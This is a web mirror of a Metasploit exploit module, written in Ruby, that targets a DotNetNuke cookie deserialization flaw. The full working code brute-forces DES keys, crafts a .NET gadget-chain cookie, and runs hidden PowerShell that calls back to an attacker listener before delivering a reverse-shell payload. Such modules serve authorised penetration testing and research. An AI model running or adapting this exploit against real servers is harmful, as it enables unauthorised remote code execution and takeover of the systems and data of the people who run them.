CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'openssl'
7
require 'set'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::Powershell
12
include Msf::Exploit::Remote::HttpServer
13
14
Rank = ExcellentRanking
15
16
# ==================================
17
# Override the setup method to allow
18
# for delayed handler start
19
# ===================================
20
def setup
21
# Reset the session counts to zero.
22
reset_session_counts
23
24
return if !payload_instance
25
return if !handler_enabled?
26
27
# Configure the payload handler
28
payload_instance.exploit_config = {
29
'active_timeout' => active_timeout
30
}
31
32
# payload handler is normally set up and started here
33
# but has been removed so we can start the handler when needed.
34
end
35
36
def initialize(info = {})
37
super(
38
update_info(
39
info,
40
'Name' => 'DotNetNuke Cookie Deserialization Remote Code Excecution',
41
'Description' => %q{
42
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
43
Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
44
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
45
The cookie is processed by the application whenever it attempts to load the current user's profile data.
46
This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
47
An attacker can leverage this vulnerability to execute arbitrary code on the system.
48
},
49
'License' => MSF_LICENSE,
50
'Author' => [ 'Jon Park', 'Jon Seigel' ],
51
'References' => [
52
[ 'CVE', '2017-9822' ],
53
[ 'CVE', '2018-15811'],
54
[ 'CVE', '2018-15812'],
55
[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
56
[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
57
[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
58
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
59
[ 'URL', 'https://github.com/pwntester/ysoserial.net']
60
],
61
'Platform' => 'win',
62
'Arch' => [ARCH_X86, ARCH_X64],
63
'Targets' => [
64
[ 'Automatic', { 'auto' => true } ],
65
[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
66
[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
67
[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
68
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
69
],
70
'Stance' => Msf::Exploit::Stance::Aggressive,
71
'Privileged' => false,
72
'DisclosureDate' => '2017-07-20',
73
'DefaultOptions' => { 'WfsDelay' => 5 },
74
'DefaultTarget' => 0,
75
'Notes' => {
76
'Stability' => [CRASH_SAFE],
77
'Reliability' => [REPEATABLE_SESSION],
78
'SideEffects' => []
79
}
80
)
81
)
82
83
deregister_options('SRVHOST')
84
85
register_options(
86
[
87
OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
88
OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
89
OptString.new('VERIFICATION_PLAIN', [
90
false, %q(The known (full or partial) plaintext of the encrypted verification code.
91
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), ''
92
]),
93
OptBool.new('ENCRYPTED', [
94
true, %q{Whether or not to encrypt the final payload cookie;
95
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.}, false
96
]),
97
OptString.new('KEY', [false, 'The key to use for encryption.', '']),
98
OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
99
OptString.new('SESSION_TOKEN', [
100
false, %q{The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
101
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.}, ''
102
]),
103
OptString.new('VERIFICATION_CODE', [
104
false, %q{The encrypted verification code received in a registration email.
105
Can also be the path to a file containing a list of verification codes.}, ''
106
])
107
]
108
)
109
110
initialize_instance_variables
111
end
112
113
def initialize_instance_variables
114
# ==================
115
# COMMON VARIABLES
116
# ==================
117
118
@target_idx = 0
119
120
# Flag for whether or not to perform exploitation
121
@dry_run = false
122
123
# Flag for whether or not the target requires encryption
124
@encrypted = false
125
126
# Flag for whether or not to attempt to decrypt the provided verification token(s)
127
@try_decrypt = false
128
129
# ==================
130
# PAYLOAD VARIABLES
131
# ==================
132
133
@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
134
135
# ==================
136
# v9.1.1+ VARIABLES
137
# ==================
138
139
@key_charset = '02468ABDF'
140
@verification_codes = []
141
142
@iv_regex = /[0-9A-F]{8}/
143
144
# Known plaintext
145
@kpt = ''
146
147
# Encryption objects
148
@decryptor = OpenSSL::Cipher.new('des')
149
@decryptor.decrypt
150
151
@encryptor = OpenSSL::Cipher.new('des')
152
@encryptor.encrypt
153
154
# final passphrase (key +iv) to use for payload (v9.1.1+)
155
@passphrase = ''
156
157
# ==================
158
# v9.2.0+ VARIABLES
159
# ==================
160
161
# Session token needed for exploitation (v9.2.0+)
162
@session_token = ''
163
164
# ==================
165
# v9.2.2+ VARIABLES
166
# ==================
167
168
# User ID format (v9.2.2+)
169
# Number of characters of user ID available in plaintext
170
# is equal to the length of a GUID (no spaces or dashes)
171
# minus (blocksize - known plaintext length).
172
@user_id_pt_length = 32 - (8 - @kpt.length)
173
@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
174
175
# Plaintext found from decryption (v9.2.2+)
176
@found_pt = ''
177
178
@iv_charset = '0123456789abcdef'
179
180
# Possible IVs used to encrypt verification codes (v9.2.2+)
181
@possible_ivs = Set.new([])
182
183
# Possible keys used to encrypt verification codes (v9.2.2+)
184
@possible_keys = Set.new([])
185
186
# passphrases (key + iv) values to use for payload encryption (v9.2.2+)
187
@passphrases = []
188
189
# char sets to use when generating possible base keys
190
@unchanged = Set.new([65, 70])
191
end
192
193
def decode_verification(code)
194
# Decode verification code base don DNN format
195
return String.new(
196
Rex::Text.decode_base64(
197
code.chomp.gsub('.', '+').gsub('-', '/').gsub('_', '=')
198
)
199
)
200
end
201
202
# ==============
203
# Main function
204
# ==============
205
def exploit
206
return unless check == Exploit::CheckCode::Appears
207
208
@encrypted = datastore['ENCRYPTED']
209
verification_code = datastore['VERIFICATION_CODE']
210
if File.file?(verification_code)
211
File.readlines(verification_code).each do |code|
212
@verification_codes.push(decode_verification(code))
213
end
214
else
215
@verification_codes.push(decode_verification(verification_code))
216
end
217
218
@kpt = datastore['VERIFICATION_PLAIN']
219
220
@session_token = datastore['SESSION_TOKEN']
221
@dry_run = datastore['DryRun']
222
key = datastore['KEY']
223
iv = datastore['IV']
224
225
if target['ReqEncrypt'] && @encrypted == false
226
print_warning('Target requires encrypted payload. Exploit may not succeed.')
227
end
228
229
if @encrypted
230
# Requires either supplied key and IV, or verification code and plaintext
231
if !key.blank? && !iv.blank?
232
@passphrase = key + iv
233
# Key and IV were supplied, don't try and decrypt.
234
@try_decrypt = false
235
elsif !@verification_codes.empty? && !@kpt.blank?
236
@try_decrypt = true
237
else
238
fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')
239
end
240
end
241
242
if target['ReqSession'] && @session_token.blank?
243
fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')
244
end
245
246
if @encrypted && @try_decrypt
247
# Set IV for decryption as the known plaintext, manually
248
# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
249
# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
250
# For v9.2.2+ it will find an initial base key faster than if padding were enabled.
251
f8_plain = @kpt[0, 8]
252
c_iv = f8_plain.unpack('C*') + [8 - f8_plain.length] * (8 - f8_plain.length)
253
@decryptor.iv = String.new(c_iv.pack('C*'))
254
@decryptor.padding = 0
255
256
key = find_key(@verification_codes[0])
257
if key.blank?
258
return
259
end
260
261
if @target_idx == 4
262
# target is v9.2.2+, requires base64 generated key and IV values.
263
generate_base_keys(0, key.each_byte.to_a, '')
264
vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
265
266
# re-enable padding here as it doesn't have the
267
# same performance impact when trying to find possible IV values.
268
@decryptor.padding = 1
269
270
print_warning('Finding possible base IVs. This may take a few minutes...')
271
start = Time.now
272
find_ivs(@verification_codes, key)
273
elapsed = Time.now - start
274
vprint_status(
275
format(
276
'Found %<n_ivs>d potential Base IV values using %<n_codes>d '\
277
'verification codes in %<e_time>.2f seconds.',
278
n_ivs: @possible_ivs.size,
279
n_codes: @verification_codes.size,
280
e_time: elapsed.to_s
281
)
282
)
283
284
generate_payload_passphrases
285
vprint_status(format('Generated %<n_phrases>d possible base64 KEY and IV combinations.', n_phrases: @passphrases.size))
286
end
287
288
if @passphrase.blank?
289
# test all generated passphrases by
290
# sending an exploit payload to the target
291
# that will callback to an HTTP listener
292
# with the index of the passphrase that worked.
293
294
# set SRVHOST as LHOST value for HTTPServer mixin
295
datastore['SRVHOST'] = datastore['LHOST']
296
print_warning('Trying all possible KEY and IV combinations...')
297
print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
298
start_service
299
begin
300
vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
301
302
test_passphrases
303
304
# If no working passphrase has been found,
305
# wait to allow the chance for the last one to callback.
306
if @passphrase.empty? && !@dry_run
307
sleep(wfs_delay)
308
end
309
ensure
310
cleanup_service
311
end
312
313
print "\r\n"
314
if !@passphrase.empty?
315
print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..]} found")
316
end
317
end
318
end
319
send_exploit_payload
320
end
321
322
# =====================
323
# For the check command
324
# =====================
325
def check
326
if target.name == 'Automatic'
327
select_target
328
end
329
330
@target_idx = Integer(datastore['TARGET'])
331
332
if @target_idx == 0
333
fail_with(Failure::NoTarget, 'No valid target found or specified.')
334
end
335
336
# Check if 404 page is custom or not.
337
# Vulnerability requires custom 404 handling (enabled by default).
338
uri = normalize_uri(target_uri.path)
339
print_status("Checking for custom error page at: #{uri} ...")
340
res = send_request_cgi(
341
'uri' => uri
342
)
343
344
if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
345
print_good('Custom error page detected.')
346
else
347
print_error('IIS Error Page detected.')
348
return Exploit::CheckCode::Safe
349
end
350
return Exploit::CheckCode::Appears
351
end
352
353
# ===========================
354
# Auto-select target version
355
# ===========================
356
def select_target
357
print_status('Trying to determine DNN Version...')
358
# Check for copyright version in /Documentation/license.txt
359
uri = %r{^(.*[\\/])}.match(target_uri.path)[0]
360
vprint_status("Checking version at #{normalize_uri("#{uri}Documentation", 'License.txt')} ...")
361
res = send_request_cgi(
362
'method' => 'GET',
363
'uri' => normalize_uri("#{uri}Documentation", 'License.txt')
364
)
365
year = -1
366
if res && res.code == 200
367
# License page found, get latest copyright year.
368
matches = @cr_regex.match(res.body)
369
if matches
370
year = matches[0].to_i
371
end
372
else
373
vprint_status("Checking version at #{uri} ...")
374
res = send_request_cgi(
375
'method' => 'GET',
376
'uri' => normalize_uri(uri)
377
)
378
if res && res.code == 200
379
# Check if copyright info is in page HTML.
380
matches = @cr_regex.match(res.body)
381
if matches
382
year = matches[0].to_i
383
end
384
end
385
end
386
387
if year >= 2018
388
print_warning(
389
%q{DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
390
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
391
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values."}
392
)
393
datastore['TARGET'] = 3
394
elsif year == 2017
395
print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
396
datastore['TARGET'] = 2
397
elsif year < 2017 && year > 2008
398
print_good('DNN Version Found: v5.1.0 - v9.0.1')
399
datastore['TARGET'] = 1
400
elsif year == 2008
401
print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')
402
datastore['TARGET'] = 1
403
else
404
print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')
405
end
406
end
407
408
# ==============================
409
# Known plaintext attack to
410
# brute-force the encryption key
411
# ==============================
412
def find_key(cipher_text)
413
print_status('Finding Key...')
414
415
# Counter
416
total_keys = @key_charset.length**8
417
i = 1
418
419
# Set start time
420
start = Time.now
421
422
# First char
423
@key_charset.each_byte do |a|
424
key = a.chr
425
# 2
426
@key_charset.each_byte do |b|
427
key[1] = b.chr
428
# 3
429
@key_charset.each_byte do |c|
430
key[2] = c.chr
431
# 4
432
@key_charset.each_byte do |d|
433
key[3] = d.chr
434
# 5
435
@key_charset.each_byte do |e|
436
key[4] = e.chr
437
# 6
438
@key_charset.each_byte do |f|
439
key[5] = f.chr
440
# 7
441
@key_charset.each_byte do |g|
442
key[6] = g.chr
443
# 8
444
@key_charset.each_byte do |h|
445
key[7] = h.chr
446
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
447
elapsed = Time.now - start
448
print_search_status(i, elapsed, total_keys)
449
print_line
450
if @target_idx == 4
451
print_good("Possible Base Key Value Found: #{key}")
452
else
453
print_good("KEY Found: #{key}")
454
print_good("IV Found: #{@passphrase[8..]}")
455
end
456
vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
457
vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))
458
return String.new(key)
459
end
460
# Print timing info every 5 million attempts
461
if i % 5000000 == 0
462
print_search_status(i, Time.now - start, total_keys)
463
end
464
i += 1
465
end
466
end
467
end
468
end
469
end
470
end
471
end
472
end
473
elapsed = Time.now - start
474
print_search_status(i, elapsed, total_keys)
475
print_line
476
print_error('Key not found')
477
vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
478
vprint_status(format('Time run: %<r_time>.3f seconds', r_time: elapsed.to_s))
479
return nil
480
end
481
482
# ==================================
483
# Attempt to decrypt a ciphertext
484
# and obtain the IV at the same time
485
# ==================================
486
def decrypt_data_and_iv(cipher, cipher_text, key)
487
cipher.key = key
488
begin
489
plaintext = cipher.update(cipher_text) + cipher.final
490
if @target_idx == 4
491
# Target is v9.2.2+
492
user_id = plaintext[8, @user_id_pt_length]
493
if @user_id_regex.match(user_id)
494
return true
495
end
496
497
return false
498
end
499
500
# This should only execute if the version is 9.1.1 - 9.2.1
501
iv = plaintext[0, 8]
502
if !@iv_regex.match(iv)
503
return false
504
end
505
506
# Build encryption passphrase as DNN does.
507
@passphrase = key + iv
508
509
# Encrypt the plaintext value using the discovered key and IV
510
# and compare with the initial ciphertext
511
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
512
@passphrases.push(String.new(key + iv))
513
return true
514
end
515
rescue StandardError
516
# Ignore decryption errors to allow execution to continue
517
return false
518
end
519
return false
520
end
521
522
def print_search_status(num_tries, elapsed, max_tries)
523
msg = format('Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.', s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
524
print("\r%bld%blu[*]%clr #{msg}")
525
end
526
527
# ===========================
528
# Encrypt data using the same
529
# pattern that DNN uses.
530
# ===========================
531
def encrypt_data(cipher, message, passphrase)
532
cipher.key = passphrase[0, 8]
533
cipher.iv = passphrase[8, 8]
534
return cipher.update(message) + cipher.final
535
end
536
537
# ===============================================
538
# Generate all possible base key values
539
# used to create the final passphrase in v9.2.2+.
540
# DES weakness allows multiple bytes to be
541
# interpreted as the same value.
542
# ===============================================
543
def generate_base_keys(pos, from_key, new_key)
544
if !@unchanged.include? from_key[pos]
545
if from_key[pos].even?
546
new_key[pos] = (from_key[pos] + 1).chr
547
else
548
new_key[pos] = (from_key[pos] - 1).chr
549
end
550
551
if new_key.length == 8
552
@possible_keys.add(String.new(new_key))
553
554
# also add key with original value
555
new_key[pos] = (from_key[pos]).chr
556
@possible_keys.add(String.new(new_key))
557
else
558
generate_base_keys(pos + 1, from_key, String.new(new_key))
559
560
# also generate keys with original value
561
new_key[pos] = (from_key[pos]).chr
562
generate_base_keys(pos + 1, from_key, String.new(new_key))
563
end
564
else
565
new_key[pos] = (from_key[pos]).chr
566
if new_key.length == 8
567
@possible_keys.add(String.new(new_key))
568
else
569
generate_base_keys(pos + 1, from_key, String.new(new_key))
570
end
571
end
572
end
573
574
# ==============================================
575
# Find all possible base IV values
576
# used to create the final Encryption passphrase
577
# ==============================================
578
def find_ivs(cipher_texts, key)
579
num_chars = 8 - @kpt.length
580
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
581
582
@decryptor.key = key
583
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
584
# Find all possible IVs for the first ciphertext
585
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..])
586
587
# Reduce IV set by testing against other ciphertexts
588
cipher_texts.drop(1).each do |cipher_text|
589
@possible_ivs.each do |iv|
590
@decryptor.iv = iv
591
pt = @decryptor.update(cipher_text) + @decryptor.final
592
if !f8regex.match(pt[0, 8])
593
@possible_ivs.delete(iv)
594
end
595
end
596
end
597
end
598
599
# ==========================================
600
# A recursive function to find all
601
# possible valid IV values using brute-force
602
# ==========================================
603
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
604
charset = '0123456789abcdef'
605
if num_chars_needed == 0
606
@decryptor.key = key
607
@decryptor.iv = pt_prefix
608
pt = @decryptor.update(cipher_text) + @decryptor.final
609
iv = pt[0, 8]
610
if @iv_regex.match(iv)
611
pt = pt_prefix + found_pt
612
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
613
@possible_ivs.add(String.new(iv))
614
end
615
end
616
return
617
end
618
charset.length.times do |i|
619
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
620
end
621
end
622
623
# ========================================
624
# Generate all possible payload encryption
625
# passphrases for a v9.2.2+ target
626
# ========================================
627
def generate_payload_passphrases
628
phrases = Set.new(@passphrases)
629
@possible_keys.each do |key|
630
@possible_ivs.each do |iv|
631
phrase = Rex::Text.encode_base64(
632
encrypt_data(@encryptor, key + iv, key + iv)
633
)
634
phrases.add(String.new(phrase[0, 16]))
635
end
636
end
637
@passphrases = phrases.to_a
638
end
639
640
# ===========================================
641
# Test all generated passphrases by initializing
642
# an HTTP server to listen for a callback that
643
# contains the index of the successful passphrase.
644
# ===========================================
645
def test_passphrases
646
for i in 0..@passphrases.size - 1
647
# Stop sending if we've found the passphrase
648
if !@passphrase.empty?
649
break
650
end
651
652
msg = format('Trying KEY and IV combination %<current>d of %<total>d...', current: i + 1, total: @passphrases.size)
653
print("\r%bld%blu[*]%clr #{msg}")
654
655
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
656
payload = create_request_payload(url)
657
cookie = create_cookie(payload)
658
659
# Encrypt cookie value
660
enc_cookie = Rex::Text.encode_base64(
661
encrypt_data(@encryptor, cookie, @passphrases[i])
662
)
663
if @dry_run
664
print_line
665
print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
666
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
667
print_line(enc_cookie)
668
break
669
end
670
execute_command(enc_cookie, host: datastore['RHOST'])
671
end
672
end
673
674
# ===============================
675
# Request handler for HTTP server.
676
# ==============================
677
def on_request_uri(cli, request)
678
# Send 404 to prevent scanner detection
679
send_not_found(cli)
680
681
# Get found index - should be the only query string parameter
682
if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
683
index = request.qstring[get_resource.delete('/').to_s].to_i
684
@passphrase = String.new(@passphrases[index])
685
end
686
end
687
688
# ==============================================
689
# Create payload to callback to the HTTP server.
690
# Note: This technically exploits the
691
# vulnerability, but provides a way to determine
692
# the valid passphrase needed to exploit again.
693
# ==============================================
694
def create_request_payload(url)
695
# Package payload into serialized object
696
payload_object = ::Msf::Util::DotNetDeserialization.generate(
697
"powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"",
698
gadget_chain: :TypeConfuseDelegate,
699
formatter: :LosFormatter
700
)
701
702
b64_payload = Rex::Text.encode_base64(payload_object)
703
return b64_payload
704
end
705
706
# =================================
707
# Creates the payload cookie
708
# using the specified payload
709
# =================================
710
def create_cookie(payload)
711
cookie = '<profile>'\
712
'<item key="k" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, '\
713
'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],'\
714
'[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, '\
715
'Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, '\
716
'Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">'\
717
'<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\
718
'<ProjectedProperty0>'\
719
'<MethodName>Deserialize</MethodName>'\
720
'<MethodParameters>'\
721
'<anyType xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\
722
'xmlns:d="http://www.w3.org/2001/XMLSchema" i:type="d:string" '\
723
">#{payload}</anyType>"\
724
'</MethodParameters>'\
725
'<ObjectInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\
726
'i:type="ObjectStateFormatter" />'\
727
'</ProjectedProperty0>'\
728
'</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\
729
'</item>'\
730
'</profile>'
731
return cookie
732
end
733
734
# =========================================
735
# Send the payload to the target server.
736
# =========================================
737
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
738
uri = normalize_uri(target_uri.path)
739
740
res = send_request_cgi(
741
'uri' => uri,
742
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
743
)
744
if !res
745
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
746
elsif res.code == 404
747
return true
748
elsif res.code == 400
749
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
750
else
751
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
752
end
753
end
754
755
# ======================================
756
# Create and send final exploit payload
757
# to obtain a reverse shell.
758
# ======================================
759
def send_exploit_payload
760
cmd_payload = create_payload
761
cookie_payload = create_cookie(cmd_payload)
762
if @encrypted
763
if @passphrase.blank?
764
print_error('Target requires encrypted payload, but a passphrase was not found or specified.')
765
return
766
end
767
cookie_payload = Rex::Text.encode_base64(
768
encrypt_data(@encryptor, cookie_payload, @passphrase)
769
)
770
end
771
if @dry_run
772
print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
773
print_warning('Printing exploit cookie payload...')
774
print_line(cookie_payload)
775
return
776
end
777
778
# Set up the payload handlers
779
payload_instance.setup_handler
780
781
# Start the payload handler
782
payload_instance.start_handler
783
784
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
785
execute_command(cookie_payload, host: datastore['RHOST'])
786
end
787
788
# ===================================
789
# Create final exploit payload based on
790
# supplied payload options.
791
# ===================================
792
def create_payload
793
# Create payload
794
payload_object = ::Msf::Util::DotNetDeserialization.generate(
795
cmd_psh_payload(
796
payload.encoded,
797
payload_instance.arch.first,
798
remove_comspec: true, encode_final_payload: false
799
),
800
gadget_chain: :TypeConfuseDelegate,
801
formatter: :LosFormatter
802
)
803
804
b64_payload = Rex::Text.encode_base64(payload_object)
805
vprint_status('Payload Object Created.')
806
return b64_payload
807
end
808
end
809
810